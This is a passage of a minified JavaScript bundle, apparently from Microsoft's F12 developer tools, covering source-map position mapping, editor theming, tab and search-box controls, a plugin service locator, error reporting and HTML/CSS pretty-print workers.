s=t.getPosition(i-t.start);t.sourcemap&&(s=t.sourcemap.getGeneratedPosition(s));s.line+=t.generatedLineOffset;return s}positionToOffset(e){return this._formattedOffsets[e.line]+e.column}offsetToPosition(e){for(var t=0;t<this._formattedOffsets.length&&!(this._formattedOffsets[t]>e);t++);t--;return new r.a(t,e-this._formattedOffsets[t],0)}getOriginalOffset(e){if(0===this._originalText.text.length)return 0;for(var t=new r.a(e.line,e.column,e.file),n=0;n<this._sourceSpans.length-1&&!(t.line<this._sourceSpans[n+1].generatedLineOffset);n++);var o=this._sourceSpans[n];t.line-=o.generatedLineOffset;o.sourcemap&&(t=o.sourcemap.getOriginalPosition(t));return o.getOffset(t)}}class a{constructor(e,t,n){this.text=e;this.mappings=t;this._originalTextMapper=new s(n);this._mappedTextMapper=new s(e)}getOriginalPosition(e){for(var t=this._mappedTextMapper.positionToOffset(e),n=this.mappings.length-1;n>=0;n--)if(t>=this.mappings[n].mappedOffset){var o=t-this.mappings[n].mappedOffset;return this._originalTextMapper.offsetToPosition(this.mappings[n].originalOffset+o)}return this._mappedTextMapper.offsetToPosition(0)}getMappedPosition(e){for(var t=this._originalTextMapper.positionToOffset(e),n=this.mappings.length-1;n>=0;n--)if(t>=this.mappings[n].originalOffset){var o=t-this.mappings[n].originalOffset;return this._mappedTextMapper.offsetToPosition(this.mappings[n].mappedOffset+o)}return this._mappedTextMapper.offsetToPosition(0)}positionToOffset(e){return this._mappedTextMapper.positionToOffset(e)}offsetToPosition(e){return this._mappedTextMapper.offsetToPosition(e)}getOffsetMappings(){return this.mappings}}class s{constructor(e){this.text=e||"";this._newlineOffsets=[0];for(var t;(t=e.indexOf("\n",t+1))>-1;)this._newlineOffsets.push(t+1)}positionToOffset(e){if(!e)return 0;var t=e.line;t>=this._newlineOffsets.length&&(t=Math.max(0,this._newlineOffsets.length-1));return this._newlineOffsets[t]+e.column}offsetToPosition(e){e=Math.max(e,0);for(var t=this._newlineOffsets.length-1;t>=0;t--)if(this._newlineOffsets[t]<=e)return{line:t,column:e-this._newlineOffsets[t],file:0};return{line:0,column:e,file:0}}getOriginalPosition(e){return e}getMappedPosition(e){return e}getOffsetMappings(){return[]}}},function(e,t,n){"use strict";n.d(t,"a",function(){return i});n.d(t,"b",function(){return d});var o=n(31),r=n(5);const i="f12-theme",a=/rgba?\((\d*)\s*,\s*(\d*)\s*,\s*(\d*)/i;Object(o.b)().addEventListener("themechanged",s);function s(){window.require&&window.require(["vs/editor/editor.main"],d)}function l(){return r.b.utilities.isHighContrast()}function c(e){return r.b.utilities.getHighContrastReplacements()[e]}function u(){return l()&&"rgb(0, 0, 0)"===c("<COLOR_WINDOW>")?"hc-black":"vs"}function d(){monaco.editor.defineTheme(i,{base:u(),inherit:!0,rules:[{token:"",foreground:h("plugin-font-editor-color")},{token:"comment",foreground:h("plugin-font-editor-comment-color")},{token:"meta",foreground:h("plugin-font-editor-comment-color")},{token:"meta.content.html",foreground:h("plugin-font-editor-comment-color")},{token:"meta.content.xml",foreground:h("plugin-font-editor-comment-color")},{token:"meta.html",foreground:h("plugin-font-editor-comment-color")},{token:"meta.xml",foreground:h("plugin-font-editor-comment-color")},{token:"number",foreground:h("plugin-font-editor-number-color")},{token:"regexp",foreground:h("plugin-font-editor-number-color")},{token:"string",foreground:h("plugin-font-editor-string-color")},{token:"identifier",foreground:h("plugin-font-editor-color")},{token:"keyword",foreground:h("plugin-font-editor-keyword-color")},{token:"key",foreground:h("plugin-font-editor-literal-color")},{token:"keyword",foreground:h("plugin-font-editor-keyword-color")},{token:"variable",foreground:h("plugin-font-editor-identifier-color")},{token:"attribute.name",foreground:h("plugin-font-editor-html-attribute-name-color")},{token:"attribute.name.html",foreground:h("plugin-font-editor-html-attribute-name-color")},{token:"attribute.name.xml",foreground:h("plugin-font-editor-html-element-color")},{token:"attribute.name.css",foreground:h("plugin-font-editor-css-name-color")},{token:"attribute.value",foreground:h("plugin-font-editor-html-attribute-value-color")},{token:"attribute.value.css",foreground:h("plugin-font-editor-css-value-color")},{token:"attribute.value.xml",foreground:h("plugin-font-editor-html-tag-color")},{token:"attribute.value.html",foreground:h("plugin-font-editor-html-attribute-value-color")},{token:"tag",foreground:h("plugin-font-editor-html-element-color")},{token:"tag.html",foreground:h("plugin-font-editor-html-element-color")},{token:"tag.xml",foreground:h("plugin-font-editor-comment-color")},{token:"tag.css",foreground:h("plugin-font-editor-css-selector-color")},{token:"delimiter",foreground:h("plugin-font-editor-color")},{token:"delimiter.js",foreground:h("plugin-font-editor-color")},{token:"delimiter.css",foreground:h("plugin-font-editor-html-tag-color")},{token:"delimiter.html",foreground:h("plugin-font-editor-html-tag-color")},{token:"delimiter.xml",foreground:h("plugin-font-editor-html-tag-color")},{token:"meta.content.html",foreground:h("plugin-font-editor-comment-color")},{token:"meta.content.xml",foreground:h("plugin-font-editor-comment-color")}]})}function h(e){var t=Object(o.b)().getValue(e);return t.startsWith("#")?t.substring(1):p(t)}function p(e){var t=e.match(a);return t&&4===t.length?g(Number(t[1]),Number(t[2]),Number(t[3])):e}function m(e){var t=e.toString(16);return 1===t.length?"0"+t:t}function g(e,t,n){return m(e)+m(t)+m(n)}},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(101),r=n(4);class i{constructor(e,t,n){r.a.isTrue(e>=0,"Invalid start offset: "+e.toString());r.a.isTrue(t>=e,"Invalid end offset: "+t.toString());this._data=new o.c;this._data.start=e;this._data.end=t;this._isScript=n;this._data.lineOffsets=[];this._data.generatedLineOffset=0;this._data.length=0;this._data.mappings=[]}set _mappings(e){this._data.mappings=e}get _mappings(){return this._data.mappings}get data(){return this._data}get start(){return this._data.start}get end(){return this._data.end}get isScript(){return this._isScript}set generatedLineOffset(e){r.a.isTrue(e>=0,"offset is negative");this._data.generatedLineOffset=e}get generatedLineOffset(){return this._data.generatedLineOffset}get lineOffsets(){return this._data.lineOffsets}calculateLineOffsets(e){var t=0;this._data.lineOffsets=[];this._data.lineOffsets[t]=0;this._data.length=e.length;for(var n=0;n<e.length;n++)"\n"===e.charAt(n)&&(this._data.lineOffsets[++t]=n+1);return t}}},,,,function(e,t,n){"use strict";n.d(t,"a",function(){return a});var o=n(98),r=n(10),i=n(42);class a{static reportErrorGivenStack(e){var t=e.message;if(!("stack"in e))try{throw e}catch(t){e=t}for(var n,o=e.stack||"",r=o.split("\n"),i=0;i<r.length&&!(n=a.StackRegex.exec(r[i]));i++);if(n){var s=n[3],l=parseInt(n[4],10),c=parseInt(n[5],10);window.reportError(t,s,l,o,c)}}static reportErrorDetails(e){window.reportError(e.message,e.file,e.line,e.additionalInfo,e.column)}static addGlobalErrorHandler(){if("undefined"!=typeof window){window.reportError=function(e,t,n,a,s,l,c){e=e||"";t=t||"";n=n||0;a=a||"";s=s||0;l=l||0;c=c||"";if(i.b()){let o="";try{o=Object(r.b)()}catch(e){}const i={messageId:`F12UNHANDLED ${o}`,message:e,file:t,line:n,column:s,additionalInfo:a},l=Object(r.g)();l.call("ms:header","reportF12UnhandledError",[i]);l.call("ms:console","reportF12UnhandledError",[i])}o.a(e,t,n,a,s,l,c)};window.onerror=function(e,t,n,o=0,r){let i="",a=0,s="";if(r){i="Error number: "+r.number;i+="\r\nStack: "+r.stack;a=r.number;s=r.name}window.reportError(e,t,n,i,o,a,s);return!0}}}}a.StackRegex=new RegExp(".* at ([^(]+) (.*/23/([^:]+):([0-9]+):([0-9]+))","gim")},function(e,t,n){"use strict";n.d(t,"a",function(){return o});function o(e){return"object"==typeof e&&!!e.cancel}},function(e,t,n){"use strict";n.d(t,"a",function(){return a});n.d(t,"b",function(){return s});n.d(t,"c",function(){return d});n.d(t,"d",function(){return p});var o=n(10),r=n(39);const i="ServiceLocator:registerService",a="ServiceLocator:serviceRegistered",s="ServiceLocator#subscribeEvents";class l{constructor(e){this.rpc=e;this.servicePlugins=new Map;this.registeredServices=new Map;this.proxiesPendingFulfillment=new Map;e.listen(a,e=>{this.servicePlugins.set(e.serviceName,e.providingPluginId);let t=this.proxiesPendingFulfillment.get(e.serviceName);if(t){for(let n of t)n[r.c](e.providingPluginId);this.proxiesPendingFulfillment.delete(e.serviceName)}})}register(e,t){if(this.registeredServices.get(e))throw new RangeError(`Service "${e} is already registered.`);let n=Object(r.f)(e,t);this.registeredServices.set(e,t);this.rpc.call("ms:host",i,[e,Object(o.b)()]);let a=this.proxiesPendingFulfillment.get(e);if(a&&a.some(()=>!0))throw new RangeError(`Service "${e}" provided by plugin "${Object(o.b)()}" was requested by the same plugin.`);return n}registerWithEvents(e,t){return this.register(e,t)}get(e){let t=this.servicePlugins.get(e);if(t===Object(o.b)())throw new RangeError(`Service "${e}" is provided by the current plugin; don't use ServiceLocator to get it.`);let n=Object(r.e)(e,t);if(void 0===t){let t=this.proxiesPendingFulfillment.get(e);if(!t){t=[];this.proxiesPendingFulfillment.set(e,t)}t.push(n)}return n}}class c{constructor(e){this.rpc=e;this.servicePlugins=new Map;this.registeredServices=new Map;this.proxiesPendingFulfillment=new Map;e.register(i,async(e,t)=>{this.setServiceRegistered(e,t)})}setServiceRegistered(e,t){if(this.servicePlugins.has(e))throw new RangeError(`Service "${e}" is already registered by plugin '${this.servicePlugins.get(e)} but '${t}' tried to register it.`);this.servicePlugins.set(e,t);this.rpc.broadcast(a,{serviceName:e,providingPluginId:t})}register(e,t){if(this.registeredServices.get(e))throw new RangeError(`Service "${e}" is already registered.`);let n=Object(r.f)(e,t);this.registeredServices.set(e,t);this.setServiceRegistered(e,Object(o.b)());let i=this.proxiesPendingFulfillment.get(e);if(i&&i.some(()=>!0))throw new RangeError(`Service "${e}" provided by plugin "${Object(o.b)()}" was requested by the same plugin`);return n}registerWithEvents(e,t){return this.register(e,t)}get(e){let t=this.servicePlugins.get(e);if(t===Object(o.b)())throw new RangeError(`Service "${e}" is provided by the current plugin; don't use ServiceLocator to get it.`);let n=Object(r.e)(e,t);if(void 0===t){let t=this.proxiesPendingFulfillment.get(e);if(!t){t=[];this.proxiesPendingFulfillment.set(e,t)}t.push(n)}return n}getRegisteredServices(){const e=[];for(const[t,n]of this.servicePlugins)e.push({serviceName:t,providingPluginId:n});return e}}let u;class d{static get(e){return this.getRealization().get(e)}static realize(){u||d.getRealization()}static register(e,t){return this.getRealization().register(e,t)}static registerWithEvents(e,t){return this.getRealization().registerWithEvents(e,t)}static getRealization(){const e=Object(o.g)();u||(u="ms:host"===Object(o.b)()?new c(e):new l(e));return u}}function h(e){return e.constructor===c}function p(){if("ms:host"===Object(o.b)()&&h(u))return u.getRegisteredServices();throw new ReferenceError("Only allowed in host context.")}},,function(e,t,n){"use strict";n.d(t,"a",function(){return a});var o=n(4),r=n(8),i=n(19);class a extends i.a{constructor(e){super(e||"Common.tabControlTemplate");this._items=[]}get selectedItem(){return this._selectedItem}set selectedItem(e){if(this._selectedItem!==e){if(e&&!this.containsTab(e))return;if(this._selectedItem){this._selectedItem.header.rootElement.setAttribute("tabindex","-1");this._selectedItem.active=!1}this._selectedItem=e;if(this._selectedItem){this._selectedItem.header.rootElement.setAttribute("tabindex","0");this._selectedItem.active=!0}if(this.selectedItemChanged){this.selectedItem.tabPane&&this.selectedItem.tabPane.onTabActivated();this.selectedItemChanged()}}}static initialize(){r.a.defineProperty(a,a.TabsLeftAlignedPropertyName,!0)}addTab(e){this._items.push(e);e.ownerTabControl=this;this._barPanel.appendChild(e.header.rootElement);this._contentPane.appendChild(e.rootElement);this._selectedItem||(this.selectedItem=e)}onApplyTemplate(){super.onApplyTemplate();this._barPanel=this.getNamedElement("tabBar");o.a.hasValue(this._barPanel,"Unable to find element with name tabBar");this._barPanel.setAttribute("role","tabList");this._barPanel.addEventListener("keydown",this.onKeyDown.bind(this));this._contentPane=this.getNamedElement("tabContentPane");o.a.hasValue(this._contentPane,"Unable to find element with name tabContentPane");this.beforeBarContainer=this.getNamedElement("beforeBarContainer");this.afterBarContainer=this.getNamedElement("afterBarContainer");this._tabBarContainer=this.getNamedElement("tabBarContainer");o.a.hasValue(this._tabBarContainer,"Unable to find element with name tabBarContainer")}removeTab(e){var t=this._items.indexOf(e);if(!(t<0)){this.selectedItem===e&&(this.selectedItem=null);this._items.splice(t,1);var n=Math.min(this._items.length-1,t);n>=0&&(this.selectedItem=this._items[n]);this._barPanel.removeChild(e.header.rootElement);this._contentPane.removeChild(e.rootElement);e.ownerTabControl=null}}containsTab(e){return this._items.indexOf(e)>=0}getTab(e){return this._items[e]}getTabIndex(e){return this._items.indexOf(e)}length(){return this._items.length}onTabItemSelected(e){this.selectedItem=e}onKeyDown(e){var t=this._items.filter((e,t,n)=>e.isEnabled),n=t.indexOf(this._selectedItem);n>=0?39===e.keyCode?this.selectedItem=t[(n+1)%t.length]:37===e.keyCode&&(this.selectedItem=t[n-1<0?t.length-1:n-1]):t.length>0&&(this.selectedItem=t[0]);this._selectedItem.header.rootElement.focus()}}a.TabsLeftAlignedPropertyName="tabsLeftAligned";a.initialize()},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(23),r=n(0);class i{constructor(e,t,n){this._rootContainer=document.createElement("div");this._rootContainer.className="BPT-sourceInfoTooltip";if(t&&n){this.addDiv("sourceInfoNameLabel",Object(r.b)(n));this.addDiv("sourceInfoName",t)}this.addDiv("sourceInfoFileLabel",Object(r.b)("SourceInfoFileLabel"));this.addDiv("sourceInfoFile",e.source);this.addDiv("sourceInfoLineLabel",Object(r.b)("SourceInfoLineLabel"));this.addDiv("sourceInfoLine",o.a.getDecimalLocaleString(e.line,!0));this.addDiv("sourceInfoColumnLabel",Object(r.b)("SourceInfoColumnLabel"));this.addDiv("sourceInfoColumn",o.a.getDecimalLocaleString(e.column,!0))}get html(){return this._rootContainer.outerHTML}addDiv(e,t){var n=document.createElement("div");n.className=e;n.textContent=t;this._rootContainer.appendChild(n)}}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(2);class r{log(e,t,n=2,r=o.b.Measure){}logExecuteCommand(e,t,n=2,r=o.b.Measure){}logPerformance(e){}}},function(e,t,n){"use strict";n.d(t,"a",function(){return m});var o=n(46),r=n(68),i=n(34),a=n(0),s=n(31),l=n(90),c=n(150),u=n(61),d=n(20);const h="/23/common/perftools/controls/hubControls.js";function p(e){return new Promise(t=>{const n=document.createElement("script");n.src=e;n.addEventListener("load",()=>t());document.head.appendChild(n)})}async function m(){Object(a.e)();Object(i.a)("Microsoft.Plugin.Resources",{getErrorString:a.a,getString:a.b});Object(i.a)("Microsoft.Plugin.Tooltip",{dismiss:d.a,show:d.c});Object(i.a)("Common.Async",{thenEach:c.b});o.a.loadCultureSync();Object(i.a)("Microsoft.Plugin.Culture",{NumberFormat:o.a.NumberFormat,dir:o.a.Direction,lang:o.a.Language});Object(i.a)("Microsoft.Plugin.Theme",{getValue:s.c,addEventListener:s.a,removeEventListener:s.d});Object(i.a)("Microsoft.Plugin.Utilities",{marshalHostError:l.d,formatString:l.b,JSONMarshaler:{attachToPublishedObject:l.a},loadExtension:l.c,EventManager:r.a,registerGlobalKeyboardHandlers:u.a});await p(h)}},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(27);const r="etwPort";class i{constructor(e){this.jsonRpcMethodCall=((e,t)=>this.callRemote(r,e,t));this.callRemote=e||o.callRemote}async startSession(e,t,n,o){const r=await this.jsonRpcMethodCall("startSession",[e,t,n,o]);return new a(r,this.jsonRpcMethodCall)}stopCollection(){this.jsonRpcMethodCall("stopCollection",["all"])}}class a{constructor(e,t){this._sessionId=e;this._jsonRpcMethodCall=t}stop(){return this._jsonRpcMethodCall("stopSession",[this._sessionId]).then(e=>e)}getGraphDataUpdate(e){return this._jsonRpcMethodCall("getGraphDataUpdate",[this._sessionId,e]).then(e=>JSON.parse(e))}sendStringToCollectionAgent(e){return this._jsonRpcMethodCall("sendStringToCollectionAgent",[this._sessionId,e]).then(e=>e)}}},function(e,t,n){"use strict";n.d(t,"a",function(){return a});var o=n(4),r=n(81);const i=Object(r.b)();class a{constructor(e){o.a.hasValue(e,"persistence manager settings key cannot be null or undefined");this._settingsKey=e;this._settings={};this.isAttached=!0;this.loadState(this._settingsKey).then(e=>{this._settings=e})}persistSettingsMap(e=!0){o.a.areEqual(e,!0,"isAttached is false");if(this.isAttached){this.isAttached=e;i.saveSettings(this._settingsKey,this._settings)}}loadState(e){return i.getSettings(e).then(e=>this._settings=e,()=>this._settings={})}getSetting(e,t){return this._settings.hasOwnProperty(e)?this._settings[e]:t}setSetting(e,t){o.a.hasValue(t,"Value cannot be null or undefined");this._settings[e]=t;this.persistSettingsMap()}}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{constructor(){this._prettyPrint=!1;this._sourcemapSupport=!1}get sourcemapSupport(){return this._sourcemapSupport}set sourcemapSupport(e){this._sourcemapSupport=e}get prettyPrint(){return this._prettyPrint}set prettyPrint(e){this._prettyPrint=e}get forceChunking(){return this._forceChunking}set forceChunking(e){this._forceChunking=e}updateAllOptions(e){this.prettyPrint=e.prettyPrint||!1;this.sourcemapSupport=e.sourcemapSupport||!1;this.forceChunking=e.forceChunking}}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(10);const r="storeActionFromHost",i=e=>e=>t=>{if("object"==typeof t){if(t.__fromHost)return e(t);{const n=Object.assign({},t,{__fromHost:!0});Object(o.g)().broadcast(r,{action:n});e(n)}}else e(t)};t.b=i},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(10);const r="storeActionFromTool",i=e=>e=>t=>{if("object"!=typeof t)return e(t);if("@@"===t.type.substr(0,2)||t.__fromHost)return e(t);Object(o.g)().broadcast(r,{action:t})};t.b=i},function(e,t,n){"use strict";n.d(t,"a",function(){return u});var o=n(3),r=n(2),i=n(172),a=n(171),s=n(5),l=n(19),c=n(0);class u extends i.a{constructor(e){super(e||"Common.searchBoxTemplate");this.updateOnInput=!0;this.placeholder=Object(c.b)("/Common/SearchBoxPlaceholder")}get searchText(){return this.text}set searchText(e){this.text=e||""}get searchProvider(){return this._searchProvider}set searchProvider(e){this._searchProvider=e;if(this._searchProvider){this._searchProvider.disableButtons&&this.hideNextPreviousButtons();void 0!==this._searchProvider.searchText&&(this.searchText=this._searchProvider.searchText);void 0!==this._searchProvider.placeholder&&(this.placeholder=this._searchProvider.placeholder);this._disableGlobalKeydownListeners=this._searchProvider.disableGlobalKeydownListeners||!1}}onApplyTemplate(){super.onApplyTemplate();this._searchBoxBorder=this.getNamedElement("searchBoxBorder");this._searchBox=this.getNamedElement("_textBoxRoot");this._searchPreviousButton=this.getNamedElement("searchPreviousResult");this._searchPreviousButton.addEventListener("click",()=>{this.findNextMatch(!1,r.c.Ui)});this._searchPreviousButton.addEventListener("keydown",e=>{if(13===e.keyCode||32===e.keyCode){this.findNextMatch(!1,r.c.KeyboardShortcut);return!1}return!0});this._searchNextButton=this.getNamedElement("searchNextResult");this._searchNextButton.addEventListener("click",()=>{this.findNextMatch(!0,r.c.Ui)});this._searchNextButton.addEventListener("keydown",e=>{if(13===e.keyCode||32===e.keyCode){this.findNextMatch(!0,r.c.KeyboardShortcut);return!1}return!0});this.hideNextPreviousButtons();this._searchBox.addEventListener("keydown",e=>this.onKeyDownSearchBox(e));Object(a.a)(this._searchBox,this.onTextChangedOverride.bind(this));this._keydownHandler=(e=>this.onKeyDownGlobal(e));document.addEventListener("keydown",this._keydownHandler);s.b.addEventListener("keydown",this._keydownHandler)}onTemplateChanging(){if(this._keydownHandler){document&&document.removeEventListener("keydown",this._keydownHandler);s.b.removeEventListener("keydown",this._keydownHandler)}}findNextMatch(e,t,n=r.a.FIND_NEXT_OR_PREVIOUS){var o=document.activeElement===this._searchBox;this.isEnabled=!1;return this.searchProvider.findNextMatch(this.searchText,e,t,n).then(e=>{this.isEnabled=!0;o&&window.setImmediate(()=>{document.body&&document.body.contains(this._searchBox)&&this._searchBox.focus()});if(!e){this.isEnabled=!0;this._searchBoxBorder.classList.add(u.RESULT_NOT_FOUND_CLASS);this.hideNextPreviousButtons()}return e})}findAndHighlightMatches(){this._searchBoxBorder.classList.remove(u.RESULT_NOT_FOUND_CLASS);this.searchProvider.findAndHighlightMatches(this.searchText)}onTextChangedOverride(){this.findAndHighlightMatches();""===this.searchText?this.hideNextPreviousButtons():this.showNextPreviousButtons()}focusSearchBox(e,t){try{Object(o.c)(e,t,()=>{})}catch(e){}this._searchBox.focus();this._searchBox.setSelectionRange(0,this.searchText.length)}onKeyDownGlobal(e){if(!document.body||!document.body.contains(this._searchBox))return!0;var t=!1;if(this._disableGlobalKeydownListeners){if(70===e.keyCode&&e.ctrlKey&&e.shiftKey&&!e.altKey){this.updateSearchTextFromSelection();this.focusSearchBox(r.a.DEBUGGER_FIND,r.c.KeyboardShortcut);t=!0}}else if(114!==e.keyCode||e.ctrlKey||e.altKey){if(114===e.keyCode&&e.ctrlKey&&!e.altKey){this.updateSearchTextFromSelection();this.findNextMatch(!e.shiftKey,r.c.KeyboardShortcut,r.a.UPDATE_SEARCH_NEXT_OR_PREVIOUS);t=!0}else if(70===e.keyCode&&e.ctrlKey&&!e.altKey){this.updateSearchTextFromSelection();this.focusSearchBox(r.a.DEBUGGER_FIND,r.c.KeyboardShortcut);t=!0}}else{this.findNextMatch(!e.shiftKey,r.c.KeyboardShortcut);t=!0}if(t){e.preventDefault();e.stopImmediatePropagation();return!1}return!0}onKeyDownSearchBox(e){13!==e.keyCode||e.altKey||e.ctrlKey?27===e.keyCode&&this.clearSearchBox():this.findNextMatch(!e.shiftKey,r.c.KeyboardShortcut);return!0}clearSearchBox(){try{o.b.logExecuteCommand(r.a.SEARCHBOX_CLEAR,r.c.KeyboardShortcut)}catch(e){}this.searchText="";this.findAndHighlightMatches();this.hideNextPreviousButtons()}updateSearchTextFromSelection(){var e=this.searchProvider.getSearchTextFromSelection(this.searchText);this.searchText=e;this.findAndHighlightMatches()}showNextPreviousButtons(){if(!this._searchProvider.disableButtons){this._searchPreviousButton.classList.remove(l.a.CLASS_HIDDEN);this._searchNextButton.classList.remove(l.a.CLASS_HIDDEN)}}hideNextPreviousButtons(){this._searchPreviousButton.classList.add(l.a.CLASS_HIDDEN);this._searchNextButton.classList.add(l.a.CLASS_HIDDEN)}}u.RESULT_NOT_FOUND_CLASS="BPT-SearchBox-NoResult";u.SEARCH_TIMEOUT=5e3;u.SEARCH_TERM_DECORATION_CLASS="searchTermDecoration"},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(4),r=n(19);class i{constructor(e,t,n){o.a.areEqual(typeof e,"function","The given control '"+e+"' ("+typeof e+") doesn't represent a control.");this.controlType=e;this.templateId=t;this.controlFactory=n;this.isTemplateControl=this.controlType===r.a||this.controlType.prototype instanceof r.a}static createFromString(e){var t;o.a.isTrue(!!e,"Invalid control construction string.");var n=e.split(/[()]/,2);if(n&&n.length>0){var r=n[0];r&&(r=r.trim());o.a.isTrue(!!r,"Invalid control construction string. The control class name is required.");var a=i.getControlType(r),s=n[1];s&&(s=s.trim());t=new i(a,s)}o.a.isTrue(!!t,"Invalid control construction string.");return t}static createFromObject(e){if(e instanceof i)return e;var t=e;o.a.areEqual(typeof t,"function","The given control '"+t+"' doesn't represent a control type which implements IControl.");return new i(t)}static createFromStringOrType(e){return"string"==typeof e?i.createFromString(e):i.createFromObject(e)}getNewControl(){return this.isTemplateControl?new this.controlType(this.templateId):("function"!=typeof this.controlType||this.controlFactory)&&this.controlFactory?this.controlFactory():new this.controlType}static getControlType(e){o.a.isTrue(!!e,"Invalid control name.");for(var t=window,n=e.split("."),r=0;r<n.length;r++){t=t[n[r]];o.a.hasValue(t,"Couldn't find the control with the given name '"+e+"'.")}o.a.areEqual(typeof t,"function","The given control '"+e+"' doesn't represent a control type which implements IControl.");return t}}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{constructor(){this._listeners={}}addEventListener(e,t){this._listeners.hasOwnProperty(e)||(this._listeners[e]=[]);this._listeners[e].push(t);if(this._queuedEvents&&this._queuedEvents[e]){const t=this._queuedEvents[e];this._queuedEvents[e]=null;this.dispatchEvent(e,t)}}removeEventListener(e,t){if(this._listeners.hasOwnProperty(e)){const n=[];for(const o of this._listeners[e])o!==t&&n.push(o);this._listeners[e]=n}}dispatchEvent(e,t,n){let o=!1;const r=this._listeners[e];if(r){const e=document.createEvent("Event");if(t)for(const n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);for(const t of r){const n=t(e);void 0===n||n||(o=!0)}}else if(n){this._queuedEvents||(this._queuedEvents={});this._queuedEvents[e]=t}return o}}},function(e,t,n){"use strict";n.r(t);n.d(t,"raiseEvent",function(){return r});n.d(t,"raiseEventWithMessage",function(){return i});n.d(t,"raiseEventWithKey",function(){return a});n.d(t,"markToolReady",function(){return s});var o=n(5);function r(e,t){i(e,t)}function i(e,t){o.b.traceWriter.raiseEvent(e,t)}function a(e,t,n){o.b.traceWriter.raiseEventWithKey(e,t,n)}function s(e){o.b.markToolReady(e)}},function(e,t,n){"use strict";n.d(t,"a",function(){return s});var o=n(134),r=n(107),i=n(118),a=n(36);class s{constructor(e=r.a){this.options={};this._services=e;this.options=new o.a}get canFormat(){return this.sourceText&&this.sourceText.text&&this.sourceText.text.trim().length>0}static supportsMimeType(e){if(e){var t=e.toLowerCase();return"text/html"===t||"application/xml"===t||t.lastIndexOf("+xml")===t.length-4}return!1}updateOptions(e){this.options.updateAllOptions(e)}setDocument(e,t,n,o){this.sourceText=new i.b(e);this.options.prettyPrint&&o&&(this._prettyPrintPromise=this.startPrettyPrint());return Promise.resolve(null)}getFormattedText(e){if(this.options.prettyPrint){this._prettyPrintPromise=this._prettyPrintPromise||this.startPrettyPrint();return this._prettyPrintPromise}return Promise.resolve(this.sourceText)}startPrettyPrint(){return new Promise(e=>{window.setImmediate(()=>{var t=Object(r.b)(new a.a("Html/HtmlFormatWorker.js"),this._services),n=new Worker(t.path);n.onmessage=(t=>{var o=JSON.parse(t.data),r=new i.a(o.text,o.mappings,this.sourceText.text);n.terminate();e(r);this._prettyPrintPromise=null});n.onerror=(()=>{n.terminate();e(this.sourceText);this._prettyPrintPromise=null});n.postMessage({services:t.services,text:this.sourceText.text})})})}}},function(e,t,n){"use strict";n.d(t,"a",function(){return s});var o=n(134),r=n(107),i=n(118),a=n(36);class s{constructor(e=r.a){this._services=e;this.options=new o.a}get canFormat(){return this.sourceText&&this.sourceText.text&&this.sourceText.text.trim().length>0}static supportsMimeType(e){return!!e&&"text/css"===e.toLowerCase()}updateOptions(e){this.options.prettyPrint=e.prettyPrint;this.options.sourcemapSupport=e.sourcemapSupport}setDocument(e,t,n,o){this.sourceText=new i.b(e);this.options.prettyPrint&&o&&(this._prettyPrintPromise=this.startPrettyPrinting());return Promise.resolve(null)}getFormattedText(e){if(this.options.prettyPrint){this._prettyPrintPromise=this._prettyPrintPromise||this.startPrettyPrinting();return this._prettyPrintPromise}return Promise.resolve(this.sourceText)}startPrettyPrinting(){return new Promise(e=>{window.setImmediate(()=>{var t=Object(r.b)(new a.a("css/CssFormatWorker.js"),this._services),n=new Worker(t.path);n.onmessage=(t=>{var o=t.data,r=new i.a(o.text,o.mappings,this.sourceText.text);n.terminate();e(r);this._prettyPrintPromise=null});n.onerror=(e=>{n.terminate();this._prettyPrintPromise=null;throw new Error(e)});n.postMessage({services:t.services,text:this.sourceText.text})})})}}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(19);class r extends o.a{constructor(e){super(e)}static initialize(){}addClickHandlerToButton(e,t){var n=this.getNamedElement(e);n&&n.control&&n.control.click.addHandler(t)}}r.initialize()},function(e,t,n){"use strict";n.d(t,"d",function(){return r});n.d(t,"c",function(){return i});n.d(t,"b",function(){return a});n.d(t,"a",function(){return s});var o=n(5);const r=(e,t)=>{o.b.telemetryLogging.logAsTelemetry(e,t)},i=(e,t)=>{o.b.telemetryLogging.logAsMeasure(e,t)},a=(e,t)=>{o.b.telemetryLogging.logAsCriticalData(e,t)},s=o.b.launchTimestamp},function(e,t,n){"use strict";function o(e){return function(){return e}}var r=function(){};r.thatReturns=o;r.thatReturnsFalse=o(!1);r.thatReturnsTrue=o(!0);r.thatReturnsNull=o(null);r.thatReturnsThis=function(){return this};r.thatReturnsArgument=function(e){return e};e.exports=r},function(e,t,n){"use strict";var o=Object.getOwnPropertySymbols,r=Object.prototype.hasOwnProperty,i=Object.prototype.propertyIsEnumerable;function a(e){if(null===e||void 0===e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}function s(){try{if(!Object.assign)return!1;var e=new String("abc");e[5]="de";if("5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map(function(e){return t[e]}).join(""))return!1;var o={};"abcdefghijklmnopqrst".split("").forEach(function(e){o[e]=e});return"abcdefghijklmnopqrst"===Object.keys(Object.assign({},o)).join("")}catch(e){return!1}}e.exports=s()?Object.assign:function(e,t){for(var n,s,l=a(e),c=1;c<arguments.length;c++){n=Object(arguments[c]);for(var u in n)r.call(n,u)&&(l[u]=n[u]);if(o){s=o(n);for(var d=0;d<s.length;d++)i.call(n,s[d])&&(l[s[d]]=n[s[d]])}}return l}},function(e,t,n){"use strict";var o=n(101);class r{static encode(e){if(e<64&&e>=0)return r.EncodedValues.charAt(e);throw TypeError(e+": not a 64 based value")}static decodeChar(e){if(1===e.length)return r.EncodedValues.indexOf(e);throw TypeError("'"+e+"' must have length 1")}}r.EncodedValues="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";class i{static encode(e){if(null===e||typeof e===i.UndefinedType)return null;e<0?e=1+(-e<<1):e<<=1;var t="";do{var 